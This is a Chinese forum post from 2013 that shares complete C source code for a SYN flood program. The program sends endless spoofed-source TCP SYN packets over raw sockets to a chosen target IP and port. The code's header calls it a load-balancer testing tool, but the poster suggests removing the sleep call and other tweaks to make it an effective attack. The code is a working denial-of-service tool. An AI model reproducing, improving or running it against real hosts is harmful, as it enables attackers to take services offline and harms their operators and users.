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本帖最后由 hcw1588 于 2013-7-3 08:15 编辑
这是阿里云工程师写的
据说注释掉MySleep( sleeptime )，再修改一点别的地方，还是大有可为的。
/********************************************************************************************
* SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23
* gcc -o syn_test -O3 syn_test.c
* change log:
* 2006-12-01, code by yunshu([email protected]), thx luoluo for fixing a bug.
* 2006-12-05, yunshu fix a bug, version 1.0
* 2006-12-26, thx bocai for reporting a bug, version 1.1
* 2008-04-26 luoluo add type options to support syn_ack and fin_ack flood v1.2
* 2010-11-10 yunshu fix a little bug
* 2010-11-19 yunshu modify the sleep funtion, version 1.3.
* 2011-06-26 yunshu delete attack code, make it to be a testing tool.
*
* it used to test loadblance, you have to change some code for attacking.
*********************************************************************************************/
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
typedef struct ip_hdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
typedef struct tcp_hdr
{
unsigned short th_sport;
unsigned short th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
unsigned short th_win;
unsigned short th_sum;
unsigned short th_urp;
}TCP_HEADER;
typedef struct tsd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSD_HEADER;
#define PACKET_SIZE sizeof(IP_HEADER) + sizeof( TCP_HEADER )
char dst_ip[20] = { 0 };
int dst_port;
unsigned long long sleeptime, starttime, outcount=0;
int pkt_then_sleep = 0;
unsigned short CheckSum(unsigned short * buffer, int size)
{
unsigned long cksum = 0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char *) buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short) (~cksum);
}
void MySleep(unsigned int micro_second)
{
struct timeval t_timeval;
t_timeval.tv_sec = 0;
t_timeval.tv_usec = micro_second;
select( 0, NULL, NULL, NULL, &t_timeval );
}
void Init( char *buffer )
{
char src_ip[20] = { 0 };
int n = 0;
IP_HEADER IpHeader;
TCP_HEADER TcpHeader;
PSD_HEADER PsdHeader;
sprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );
IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned int));
IpHeader.tos = 0;
IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));
IpHeader.ident = 1;
IpHeader.frag_and_flags = 0x40;
IpHeader.ttl = 255;
IpHeader.proto = IPPROTO_TCP;
IpHeader.checksum = 0;
IpHeader.sourceIP = inet_addr(src_ip);
IpHeader.destIP = inet_addr(dst_ip);
TcpHeader.th_sport = htons( rand()%9000 + 1234 );
TcpHeader.th_dport = htons( dst_port );
TcpHeader.th_seq = htonl( rand()%90000000 + 2345 );
TcpHeader.th_ack = 0;
TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);
TcpHeader.th_flag = 0x02;
TcpHeader.th_win = htons(512);
TcpHeader.th_sum = 0;
TcpHeader.th_urp = 0;
PsdHeader.saddr = IpHeader.sourceIP;
PsdHeader.daddr = IpHeader.destIP;
PsdHeader.mbz = 0;
PsdHeader.ptcl = IPPROTO_TCP;
PsdHeader.tcpl = htons(sizeof(TcpHeader));
memcpy( (void*)buffer, (void*)&PsdHeader, sizeof(PsdHeader) );
memcpy( (void*)(buffer + sizeof(PsdHeader)), (void*)&TcpHeader, sizeof(TcpHeader) );
TcpHeader.th_sum = CheckSum( (unsigned short *) buffer, sizeof(PsdHeader) + sizeof(TcpHeader) );
memset( buffer, 0, PACKET_SIZE );
memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
IpHeader.checksum = CheckSum( (unsigned short *) buffer, sizeof(IpHeader) );
//memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
memcpy( (void*)(buffer+sizeof(IpHeader)), (void*)&TcpHeader, sizeof(TcpHeader) );
}
void Flood( )
{
int sock;
int flag = 1;
char buffer[PACKET_SIZE] = { 0 };
struct sockaddr_in sa;
memset( &sa, 0, sizeof(struct sockaddr_in) );
sa.sin_family = AF_INET;
sa.sin_port = htons(dst_port);
sa.sin_addr.s_addr = inet_addr(dst_ip);
if ( ( sock = socket(PF_INET,SOCK_RAW,6) ) < 1 )
{
printf( "create socket error...%s\n", strerror(errno) );
exit (-1);
}
if( setsockopt( sock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) < 0 )
{
printf("setsockopt error...%d\n", errno);
exit (-1);
}
srand((unsigned) time(NULL));
int number = 0;
if( sleeptime == 0 )
{
while(1)
{
memset( (void*)buffer, 0, PACKET_SIZE );
Init( buffer );
sendto( sock, buffer, PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );
outcount ++;
}
}
else
{
while(1)
{
memset( (void*)buffer, 0, PACKET_SIZE );
Init( buffer );
sendto( sock, buffer, PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );
outcount ++;
number ++;
if( number == pkt_then_sleep )
{
MySleep( sleeptime );
number = 0;
}
}
}
}
void sig_proc(int signum)
{
int ctime = 0;
printf( "signal: %d\n", signum );
ctime=time(NULL);
printf("\n -- statistics -----------------------\n");
printf(" packets sent: %d\n",outcount);
printf(" seconds active: %d\n",ctime-starttime);
printf(" average packet/second: %d\n",outcount/(ctime-starttime));
printf(" -------------------------------------\n");
exit(1);
}
int main(int argc,char *argv[])
{
int ret = 0;
pthread_t* my_thread = NULL;
int a =0;
int type = 0;
if( argc != 5 )
{
fprintf(stderr,"\n%s <target ip> <target port> <pkt_then_sleep> <sleep_time>\n", argv[0]);
fprintf(stderr, "send syn packets to <target ip>:<target port>, sleep <sleep_time> microseconds per <pkt_then_sleep> paskets\n\n");
return -1;
}
strncpy( dst_ip, argv[1], 16 );
dst_port = atoi( argv[2] );
if( inet_addr(dst_ip) == INADDR_NONE )
{
printf( "target ip error.\n" );
return -1;
}
if( dst_port < 0 || dst_port > 65535 )
{
printf( "port error.\n" );
return -1;
}
pkt_then_sleep = atoi(argv[3]);
if( pkt_then_sleep == 0 )
{
printf( "pkt_then_sleep error.\n" );
return -1;
}
sleeptime = atoi(argv[4]);
starttime = time(NULL);
while(time(NULL) == starttime) usleep(1000);
signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);
Flood();
return 0;
} |
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发表于 2013-7-3 08:11:56
楼主
发表于 2013-7-3 08:16:45